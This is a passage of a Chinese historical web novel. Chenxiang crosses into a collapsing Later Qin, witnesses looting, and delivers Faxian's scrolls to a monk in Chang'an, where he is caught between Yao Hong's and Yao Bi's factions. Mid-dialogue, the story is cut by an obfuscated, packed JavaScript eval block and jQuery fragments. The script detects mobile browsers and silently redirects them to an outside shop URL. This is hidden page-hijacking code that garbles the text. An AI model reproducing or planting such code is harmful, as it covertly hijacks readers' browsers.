晨雾像一层惨白的裹尸布，蒙在渭水宽阔而浑浊的河面上。


    沉香内腑的伤势在寇谦之留下的丹药调理下已稳固，但经脉间那份沉重与隐痛，时时提醒着他这一路来的劫波。


    虽然，与“青衫社”那场因误会而起的惨烈冲突，虽最终在寇谦之的玄妙道法与斡旋下化解，却让他真切体会到，在这北地，即便是怀着相似悲愿的汉人，也会因猜忌、生存和各自坚信的“道”而刀兵相向。


    “道不同……”他低声自语。寇谦之意味深长的话语犹在耳边：“过了渭水，便是另一番天地了。那里面，规矩或许更少，但杀机……往往藏在更荒唐的地方。”


    船公是个沉默的独眼老汉，撑着长篙，将简陋的渡船推离河岸。船至中流，水势愈发湍急浑浊，仿佛底下沉埋着无数未消的怨气与兵戈。沉香能感觉到，空气中某种无形的东西变了。北魏那边，即便是缓冲地带，也弥漫着一种拓跋嗣竭力维持的、带有明确压迫感的“秩序”；而南岸后秦这边飘来的风里，却是一种熟透了的、正在腐烂的松弛与不安。


    渡口简陋得几乎不存在，只有一片被踩得稀烂的泥滩。几名倚着长矛、皮甲破旧的羌兵歪斜站着，眼神混浊地打量着靠岸的渡船。他们的兵刃保养极差，铁刃上锈迹与暗红污渍混杂。为首的小队长打了个哈欠，懒洋洋地伸出手。


    “过关钱。一人，一马，一箱。”他汉语生硬，带着浓重的羌人口音，目光在沉香背后的藤箱上多停了一瞬。


    沉香早已备好几串劣质但数量足够的“常平五铢”——这是后秦境内勉强还能流通的货币之一。他默默递上。那小队长掂了掂，似乎嫌少，但看到沉香低眉顺眼、衣衫陈旧的模样，看到一匹毛色暗淡瘦骨嶙峋的马，又瞥见他空空如也的双手和单薄的少年身形，终究撇了撇嘴，挥手放行。


    整个过程，没有查看任何文书，没有询问来历去向，只有最直接的金钱交易。这与河北边境那些盘查细致、甚至暗藏审视的北魏关卡，天差地别。


    踏上了后秦的土地。


    这……是他的来处？是他的父亲，逃离的地方？是他的祖辈，耕耘的地方？


    这几日，沉香牵着随着自己奔波，又得不到上好黑豆补给、已经蹉跎到让人看不出曾经神骏的瘦马，沿着依稀可辨的官道向西。


    他舍不得瘦马的脚力，大多时候都是牵着马而行。


    脚下是更深的泥泞，道旁景色迅速衰败。曾经理应肥沃的渭水平原，大片田地荒芜，长满及腰的蒿草。偶有耕作的农人，也都面黄肌瘦，眼神麻木，看到任何带刀兵影子的人马靠近，便如受惊的田鼠般缩进田埂或残垣后。空气中弥漫着并非炊烟，而是某种东西缓慢腐朽、又被秋雨沤烂的沉闷气息。


    忽然，前方尘土扬起，伴随着尖锐的呼哨和女子凄厉的哭喊。沉香心头一紧，迅速将老马牵入道旁一片稀疏的柳林后，伏低身形望去。


    只见七八骑羌兵正从一处冒着残烟的破败村落中冲出，马背上除了抢来的鸡豚布匹，赫然还横搭着两个挣扎哭叫的年轻村妇。羌兵们狂笑着，挥舞着抢来的简陋农具，对路旁瑟缩的逃难百姓视而不见，甚至故意纵马溅起泥水，淋得他们满头满脸。队伍末尾一个年轻的羌兵，似乎嫌抢来的半袋粟米太重，随手用矛尖划破袋子，黄澄澄的米粒洒了一路，他看也不看，打马而去。


    这不是巡哨，甚至不是有组织的劫掠，而是一种纯粹发泄性的、末日般的狂欢。沉香的手按在腰间短剑上，指节因用力而发白。他想起了秉莲堂骑兵北上巡防白道时那种肃杀整饬的军容，想起了他们虽冰冷但至少维持着表面“规矩”的行事。而眼前这一幕，毫无纪律可言，只有赤裸裸的暴力和对秩序的彻底蔑视。


    他最终还是动了，一招斩杀这些匪人，然后迅速离开，留下名号。


    他并非畏惧，而是一种无力与冰冷。


    ——在这里，个人的勇武救得了一时，救不了这片正在沉沦的土地。甚至，他都不知道，这些被救下来的村妇又能如何？


    会受到报复么？


    留下名号，就可以真的让这些没有人性的禽兽，冲着自己来么？他们，有什么道理可讲么？


    即便有这么多担心，既然见了，又怎能不管呢？


    即便没有什么用……


    可是怎样，才是有用呢？


    越靠近长安，这种溃散感越发浓重。沿途开始出现零零散散的溃兵，有的还穿着破烂的后秦号衣，有的则完全成了土匪，守在路边对零星的行商敲骨吸髓。沉香不得不数次绕行偏僻小径，甚至昼伏夜出，以避开这些毫无规矩可言的兵匪。他从几个同样躲藏的行商口中，听到了零碎而惊人的消息：


    “宫里那位……怕是不行了。都几个月没正经上朝了。”


    “现在城里是太子殿下和尚书令广平公说了算……唉，这日子……”


    “听说南边的晋国又要打过来了？咱们这……”


    消息模糊，却指向明确：后秦的心脏正在衰竭，权力的毒蛇在病榻旁蠢蠢欲动。


    终于，在离开北魏后的第五日黄昏，那座曾在无数史书与传说中巍峨耸立、象征着华夏正朔的城池——长安，出现在了地平线上。


    夕阳的余晖给巨大的城墙轮廓镀上了一层凄艳的血红色。城墙依然高峻，但走近了便能看见，许多墙砖已经碎裂、脱落，露出里面夯土的丑陋伤口。护城河几乎干涸见底，淤塞着垃圾和不明秽物，散发着阵阵恶臭。春明门敞开着，门洞里阴影幢幢，守门的兵卒聚在两边，就着最后的天光吆五喝六地掷骰子，对进出的人流漠不关心。进出城门无需任何查验，只需向旁边一个歪戴皮盔、像是头目的军吏缴纳几个铜钱即可。那军吏甚至懒得看人，只麻木地收钱、摆手。


    这就是长安？


    沉香随着人流混入城中，一股难以言喻的复杂气味扑面而来。那是灰尘、腐烂、劣质油脂、廉价脂粉、汗水和隐隐血腥味的混合体。街道还算宽阔，但两旁的坊墙多有倾颓，昔日整齐的里坊格局已被随意搭建的窝棚、摊位侵蚀得杂乱无章。许多曾经显赫的朱门大户，如今门庭紧闭，石狮蒙尘，门楣上的匾额字迹模糊。仍在营业的店铺寥寥无几，且门可罗雀。与之相对的是，沿街乞讨者甚众，老人、妇人、孩童，伸出枯瘦的手，眼神空洞。他甚至看见一处墙角下，蜷缩着几具用破草席半掩的尸体，无人收殓，苍蝇嗡嗡盘旋。


    偶尔有装饰华丽的马车或高头大马的羌人贵族队伍呼啸而过，卫兵粗暴地鞭打驱赶来不及躲闪的平民，引来一片压抑的惊呼和怒骂，旋即又迅速沉寂下去，只剩下马蹄溅起的泥点和久久不散的怨怒。这里没有秉莲堂那种试图调解纠纷、维持表面“规矩”的力量，只有赤裸的阶层碾压和麻木的承受。


    沉香牵着马，在一处还算有人气的简陋汤饼铺前停下，想买些食物，也听听风声。铺主是个脸上带着刀疤的汉人老汉，沉默地舀着浑浊的汤饼。旁边几个脚夫模样的人正压低声音交谈：


    “……东市昨日又械斗了，好像是广平公府上的人，和太子爷门下那些‘募侠’打起来了，为争一批从南边来的绢帛……”


    “嘘！小声点！不要命啦？”


    “怕什么，这长安城，哪天不死人？听说……宫里那位，咳血都咳了盆了……”


    “唉，这世道，怕是真要变了。只求别在城里打起来……”


    沉香默默吃着无味的汤饼，将每一句话都收入耳中。姚兴病重，咳血。太子姚泓。尚书令、广平公姚弼。两派人马已在街市公然械斗。所有零碎的信息，在此刻拼合成一幅清晰而险恶的图景：这个国家的中枢已经瘫痪，毒疮正在表面之下化脓、扩散，随时可能爆开，将最后一点秩序吞噬。


    他快速吃完，付了钱，牵马离开喧杂的市口，转入一条相对僻静、堆满杂物的巷子。心在往下沉。长安的破败超出了他的想象，这里的危险并非来自外敌，而是源于内部腐烂所产生的窒息与无序。他原本以为送经至逍遥园，只是一次简单的文化交割，此刻却无比清醒地意识到，自己正背着法显大师的经卷，一步步走向一个权力斗争已趋白热化的风暴中心。


    他想尽快找到逍遥园，交割经卷，然后立刻离开这座正在滑向深渊的都城。


    夜色渐浓，长安城像一头潜伏在阴影里的病兽，□□，目光昏沉。沉香紧了紧背上的藤箱，将身影更深地融入街道的阴影之中，开始询问前往城北渭水之滨、逍遥园的方向。


    -----------------------------


    城北的喧嚣似乎被一道无形的墙隔开了。


    越靠近渭水，长安城那种末日般的颓败与躁动便奇异地淡去。穿过一片在秋风中萧瑟作响的竹林，一道素朴的土黄色院墙出现在眼前。没有朱门高户，只有一扇虚掩的乌木门扉，门楣上悬着一块旧匾，上面是朴拙的“逍遥园”三字。然而，与这份清寂格格不入的，是门旁左右各一、按刀而立的两名甲士。他们身着后秦制式的皮甲，眼神警惕地扫视着通往园子的唯一小径，身上带着沙场磨砺出的精悍之气，绝非普通守门仆役。


    沉香的心微微一沉。寇谦之的警告在耳边响起：“那里面，杀机往往藏在更荒唐的地方。”


    佛门清净地，为何需要如此戒备森严的武人守卫？


    他深吸一口气，压下疑虑，牵着老马走上前。未及开口，左侧那名年长些的甲士已跨前一步，手按刀柄，沉声喝问：“止步！此乃皇家译场重地，闲杂人等不得靠近。来者何人？所为何事？” 汉语虽带羌音，却异常清晰流利。


    沉香停下脚步，依着在秉莲堂学到的规矩，微微躬身，语气平静：“在下自南边来，受一位佛门前辈所托，护送几卷早年流落海外的戒律经本至此，盼能补全译场典藏，完璧归赵。” 他特意略去了法显的具体名号与自己的来历，只从怀中取出那封边角磨损、但字迹依然庄重的荐书，双手奉上。“此有前辈亲笔荐书，请军爷过目，或可通传园中主事法师。”


    甲士没有接信，只是锐利的目光在沉香脸上和背后的藤箱停留片刻，又扫了一眼那匹瘦马，似在掂量话语的真伪。他与同伴交换了一个眼神，右侧甲士微微点头，转身推门而入，门扉发出沉重的吱呀声。


    等待的时间并不长，却仿佛被寂静拉得很慢。秋风穿过竹林，沙沙作响，与远处长安城隐约传来的嘈杂形成诡异的两个世界。沉香能感觉到，面前甲士看似目不斜视，但全身肌肉并未放松，气息绵长，显然是军中好手。这逍遥园，果然不“逍遥”。


    片刻，乌木门再次打开，出来的却非甲士，而是一个约莫十三四岁、面容清秀的小沙弥。他双手合十，对甲士行了一礼，然后看向沉香，眼神清澈中带着好奇：“施主请随小僧来，慧明法师有请。”


    沉香谢过甲士，将老马拴在门外系马石上，取下藤箱，随小沙弥步入园中。门在身后轻轻合拢，将甲士与刀锋隔绝在外，但那份无形的压力并未消散。


    园内景象豁然开朗，却又与想象中不同。没有太多精巧的亭台楼阁，映入眼帘的是一片开阔的园圃，虽已深秋，仍有些耐寒的菜蔬泛着青意。几株高大的银杏树通体金黄，落叶铺地，宛如碎金。远处可见数排简朴的房舍，最大的那座殿宇式建筑，想必就是译经堂。整个园子笼罩在一种深沉的、混合着檀香、旧纸和秋日草木气息的宁静之中。然而，这宁静之下，沉香敏锐的灵觉却能捕捉到一种极细微的、难以言喻的紧绷感，仿佛平静湖面下暗流涌动。


    小沙弥引着他穿过落叶小径，来到西侧一间独立的禅房前。禅房窗户敞开，可以看到里面除了必要的禅床、书案和蒲团，几乎别无长物。一位身着灰色旧僧袍的老僧正背对房门，立于书案前，似乎在凝视墙上悬挂的一幅字。小沙弥在门外轻声禀报：“师父，那位送经的施主到了。”


    老僧缓缓转过身。


    正是慧明法师。他年岁看起来比寇谦之还要长些，清癯的面容上皱纹深如刀刻，长眉雪白，但一双眼睛却异常澄澈温和，仿佛能洞穿一切表象，直抵本心。只是那眼底深处，沉淀着一种沉重的、挥之不去的忧色。


    “有劳小施主远来，请进。” 慧明法师的声音平和舒缓，如古井无波，他目光落在沉香手中的藤箱上，微微一顿。


    沉香步入禅房，依礼见过。慧明法师请他在蒲团上坐下，小沙弥奉上清茶后悄然退下，掩上房门。


    “小施主风尘仆仆，跨越南北，护送经典，功德无量。” 慧明法师缓缓开口，目光依旧平和，“不知可否让老衲一观，是何经典，又是受哪位大德所托？”


    沉香依言打开藤箱，取出那几卷用油布细心包裹的经卷，以及法显的荐书，恭敬地置于书案上。他没有多言，只静静等待。


    慧明法师先拿起荐书，展开。只看了开头称谓与字迹，他那古井般的眼眸便骤然波动了一下。他快速扫过内容，手指竟有些难以察觉的颤抖。放下荐书，他小心翼翼地解开油布，轻轻抚过最上面一卷经书的封面，那上面是法显亲手以端正楷书题写的经名。


    良久，老僧才抬起头，眼中竟有水光闪动。他没有看沉香，而是望向窗外金黄的银杏，声音带着一种压抑的激动与苍凉：“阿弥陀佛……法显大师……他竟真的踏破流沙，远涉鲸波，归来了……苍天有眼，我佛门法脉，不绝于此乱世啊！” 他转向沉香，深深合十一礼，“小施主，你送来的，不是几卷经文，是燃灯之芯，是续命之药啊！老衲代这逍遥园，代这关中尚存一念向佛之心的众生，谢过施主！” 这一礼，情真意切，沉重如山。


    沉香连忙避让：“法师言重了。晚辈只是受人之托，忠人之事，不敢居功。能见经书归位，于愿足矣。”


    慧明法师直起身，示意沉香重新坐下。他珍而重之地将经卷收好，置于案头最显眼处，仿佛那是无价珍宝。然而，当他再次看向沉香时，眼中的激动已渐渐被一种更深沉的忧虑取代。


    却只是唤来小沙弥，低声嘱咐几句。小沙弥领命，引着沉香离开禅房，穿过几道回廊，来到园子最东北角一处僻静的独立小院。这里只有两间简朴的厢房，院中一棵老松，一方石凳，异常安静，仿佛与世隔绝。


    “施主请在此安歇，斋饭稍后会送来。师父吩咐，请施主夜间莫要随意出院走动。” 小沙弥说完，合十一礼，轻轻带上院门离去。


    --------------------------


    沉香所在的僻静小院，仿佛被逍遥园更深的寂静所吞噬。这种寂静，与白日里渭水之滨荒芜田地的死寂不同，它是一种高度紧绷的、被刻意维持的“空”。


    他能感觉到，不止一双眼睛在院墙的阴影、回廊的拐角，甚至是对面屋脊的暗处，注视着这方寸之地。这让他清晰地意识到，自己送来的经卷，已然变成了一枚落入浑浊水潭的石子，激起的涟漪正被不同的人仔细解读。


    夜色渐浓时，慧明法师悄然来访，未带随从。


    显然，他已经进见了长安城内真正的“贵人”——不知是姚兴，姚泓，还是姚弼？


    沉香提起戒备，暗自打算以沉默应万变。


    老僧的忧色在灯下更深，他不再绕弯，浑浊而睿智的目光直视沉香，“你从南边来，一路北上，可曾听闻长安……如今是何光景？”


    沉香沉吟片刻，谨慎答道：“略知一二。市井凋敝，权贵骄横，似有山雨欲来之势。”


    “何止山雨欲来。” 慧明法师苦笑，那笑容里满是苦涩，“陛下龙体欠安，沉疴难起，已数月未能临朝。如今这长安城，这大秦天下，明面上是太子殿下监国，实则……尚书令、


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031229|193483||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    广平公姚弼，权倾朝野，党羽遍布，其心……路人皆知。” 他提及姚兴时，语气恭敬中带着悲悯；说到姚泓，隐含一丝不易察觉的期望与无奈；提及姚弼，则只剩下冰冷的戒备。


    “太子仁孝宽厚，陛下在时便常来此园，聆听佛法，供养译事，于三宝颇有敬信之心。” 慧明法师顿了顿，每一个字都仿佛斟酌过，“陛下若有不讳，太子若能克承大统，则此译场或可苟延，佛法于此邦或尚有一线生机。” 他抬起眼，目光灼灼，“反之，若广平公得志……其人虽亦做礼佛之态，然其性刚愎，重实务而轻义理，身边聚集之人，多视译经为虚耗国帑、胡僧蛊惑。届时，恐鸠摩罗什大师毕生心血，陛下昔日护持之功，皆要付诸东流了。”


    沉香蹙眉。他虽料到经书可能被赋予某种意义，却没想到直接关乎到如此尖锐的皇位继承与宗教存续之争。他完全无异于卷入羌人的任何争端。


    慧明法师仿佛看穿他的心思，继续道：“小施主，你此刻送来的，非比寻常。此乃法显大师自天竺携归的戒律真典！戒律为何？佛法之筋骨，僧团之轨范！在此刻送来，有心人眼中，无异于……为‘正统’与‘秩序’加冕。” 他微微叹息，“太子向来被诟病柔弱，需‘正名’以固位。你这经书，即便非你本意，也极易被解读为……来自佛门对太子一方‘正统性’与‘重振法统秩序’的认可与加持。”


    沉香依然不语。


    “陛下的病，”慧明法师声音低沉，“已非寻常药石所能及。宫中太医署束手，陛下转而更专佛法祈禳，日夜于草堂寺听经，太子（姚泓）常在侧侍奉。”


    这正是他在确立自己的“合法继承人”。姚兴早年倾力支持鸠摩罗什译经，虽然有其信仰，但更深的动机，恐怕是借助佛教构建其统治的“神圣性”。姚兴弃用“皇帝”而称“天王”，正来源于佛教护法神“帝释天”的“天王”，以此将自己塑造为佛法在人间的护持者与体现者，一种超越胡汉分野的“转轮圣王”。如今病重，他对佛法的依赖更深，谁能更紧密地伴随、代表这份“神圣”，谁就在继承的天平上增添了无形的砝码。


    “而广平公（姚弼）……”慧明法师顿了顿，“他虽也常做礼佛之态，供养僧侣，但其门下汇聚之人，言论已多有不同。他们或言译经耗费巨万，虚国帑以奉胡神；或暗指太子仁弱，仅知诵经祈福，非雄主之材。”


    姚弼试图将“崇佛”与“误国”悄然挂钩，将太子塑造成不切实际的软弱者。


    沉香静静地听着，一股寒意从心底升起。


    他想起在北魏缓冲地带看到的，百姓在刀兵与赋税下的挣扎；想起踏入长安后目睹的，羌兵骄横、饿殍遍野。此刻，这些血淋淋的现实，与眼前高僧口中精巧却冰冷的权力博弈重叠在一起。


    佛法，这宣称要普度众生、解脱苦难的智慧，在后秦，究竟扮演着什么角色？是


    如姚兴所冀望的，构建秩序、安抚人心的“天王”光环？


    还是如姚弼阵营所鄙夷的，麻痹弱者、消耗国力的精致装饰？抑或是，仅仅是在这艘即将沉没的破船上，人们慌乱中抓住的一根浮木，明知无用，却因恐惧而紧紧握住？


    他想起法显大师穿越流沙、远渡重洋的坚毅身影，想起那经卷上工整字迹里蕴含的悲悯。那悲悯是真实的。但为何当这悲悯的结晶落入人间，尤其是落入权力的中心，就立刻被扭曲、被争夺，变得如此……无力？


    它能阻止姚弼的野心吗？能填饱长安城外那些饥民的肚子吗？能让横行街市的羌兵放下刀吗？


    如果现实纹丝不动，苦难毫未消减，仅仅让心灵获得暂时的平静或虚幻的来世希望，这究竟是慈悲，还是一种更为残酷的欺骗？但如果连这剂“麻药”也失去，人们在绝望的清醒中，又该如何熬过漫漫长夜？


    -----------------


    次日清晨，寂静被打破了。


    首先到来的，是太子姚泓的使者。来人并非宦官，而是一位身着青衫、气质儒雅的东宫属官，自称杜淹。他带来一份加盖东宫小印的关防文书，言明“持此牒者，乃襄助译经之义士，沿途军镇需予便利”；此外，还有两卷新誊写的《维摩诘经》注疏，据称是姚泓听讲后亲手整理的心得。


    “太子殿下闻法师万里护经，风霜不易，深为感念。”杜淹言辞恳切，姿态放得极低，“殿下尝言，经义如灯，能破幽暗。今长安纷扰，人心惶惑，正需法师所携之戒律真典，以正法统，以定人心。此微物略表敬意，万望笑纳。殿下亦嘱，逍遥园虽静，终非久留之地，恐扰法师清修。持此文书，南归之路当更顺畅。”


    这番话滴水不漏，礼数周全。


    沉香恭敬接过，心中却无半分喜悦，只觉那锦盒与文书重若千钧。他正斟酌词句准备谢绝并告辞，院门外忽又传来一阵不加掩饰的沉重脚步声与甲叶摩擦声。


    未等通传，四五名剽悍甲士已闯入小院，为首者是一名满脸横肉、眼神倨傲的羌人军将，正是姚弼府中的心腹幢主吕骞。他目光如刀，先在杜淹脸上刮过，冷笑一声，旋即钉在沉香身上。


    “奉尚书令钧旨！”吕骞声音洪亮，刻意压过一切，“近日城中混入可疑人等，或有南边细作借佛事为名，交通传递，窥探机密！凡出入逍遥园之外来者，一律需严加盘查！”他大手一挥，“来人，将此南人行李细细搜检，片纸不得遗漏！”


    杜淹脸色一沉，上前一步：“吕幢主！此乃太子贵客，更是慧明法师的座上宾，尔等安敢无礼？惊扰译场清净，该当何罪？”


    “杜舍人言重了。”吕骞皮笑肉不笑，“某只是奉命行事，肃靖奸宄，保我大秦安宁。便是太子殿下，想必也乐见都城清净。若此子身家清白，查验一番，岂不正好还他公道？”


    气氛骤然降至冰点。甲士上前，沉香下意识地后退半步，手按上了腰间的短剑。


    就在剑拔弩张之际，慧明法师苍老而平和的声音在院门口响起：“阿弥陀佛。”


    老僧缓步走入，僧袍拂动，竟似带着一股无形的压力，让甲士们动作一滞。他先对杜淹合十一礼，然后转向吕骞：“吕将军，逍遥园乃陛下钦定译经重地，一草一木，一纸一卷，皆关乎法脉传承。老衲奉旨主持于此，凡入院经卷人物，自有老衲依佛法戒律与陛下旧例担待。将军要搜检，可有陛下明旨？或是有确凿证据，指证老衲这方外之人，包藏祸心？”


    吕骞气势一窒。姚弼权势再大，此刻毕竟没有公开撕破脸的法理依据，更无法承担“冲击译场、迫害高僧”的恶名。他脸色变幻，最终强笑道：“法师言重了。末将也是职责所在。既然法师作保……”他阴冷的目光再次扫过沉香，“那便请这位小法师，早早‘清净’离园吧！长安水深，莫要蹚久了，湿了鞋子，甚至……淹没了顶。”威胁之意，溢于言表。


    说罢，他恨恨地瞪了杜淹一眼，带队离去。


    杜淹松了一口气，向慧明法师深深一揖：“多谢法师解围。”又对沉香低声道：“小法师，情势已明，此地不可再留。吕骞既已露面，城外恐有布置。请速做决断。”


    慧明法师长叹一声，对沉香道：“小施主，你已亲眼所见。佛法于此，清净坛场已沦为权争之器。你心中所惑，老衲亦难解答。但路终须自己走。后院侧门可通渭水滩涂，那里僻静，或有生机。珍重。”


    沉香回想一夜的思考，心中一片冰冷。他向杜淹深深一揖，道：


    “杜先生厚意，沉香心领。然小子不过漂泊行者，恐招致无端猜忌，反误太子清誉。”他语气平静却坚决，“请转告太子殿下，经卷已至，法显大师所托已了。小子此行，只为送经，不敢卷入是非。长安之事，非我所能与闻。这就告辞。”


    杜淹愕然，欲再劝，见沉香目光坚定如铁，知不可强求，只得叹息。